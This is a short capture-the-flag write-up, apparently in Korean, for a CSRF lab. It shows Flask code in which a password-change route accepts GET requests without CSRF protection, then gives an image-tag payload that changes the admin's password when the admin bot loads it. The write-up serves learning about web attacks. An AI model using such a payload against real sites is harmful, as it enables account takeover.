Write-Up
@app.route("/flag", methods=["GET", "POST"])
# flag 페이지 라우팅 (GET, POST 요청을 모두 받음)
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param", "")
session_id = os.urandom(16).hex()
# 무작위 세션 ID 생성 후 16진수 문자열로 변환
session_storage[session_id] = 'admin'
# 세션 ID를 키로 사용하여 'admin' 값을 session_storage 딕셔너리에 저장
if not check_csrf(param, {"name":"sessionid", "value": session_id}):
# CSRF 토큰 (세션 ID)이 유효한지 확인
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
@app.route("/change_password")
def change_password():
pw = request.args.get("pw", "")
session_id = request.cookies.get('sessionid', None)
try:
username = session_storage[session_id]
except KeyError:
return render_template('index.html', text='please login')
users[username] = pw
return 'Done'
/flag 경로에서, admin 에 대한 session_id가 저장되므로, /flag 경로에서 /change_password를 요청한다면, admin의 비밀번호를 변경할 수 있다. 아래와 같은 payload를 사용해준다.
payload
<img src="/change_password?pw=1234" >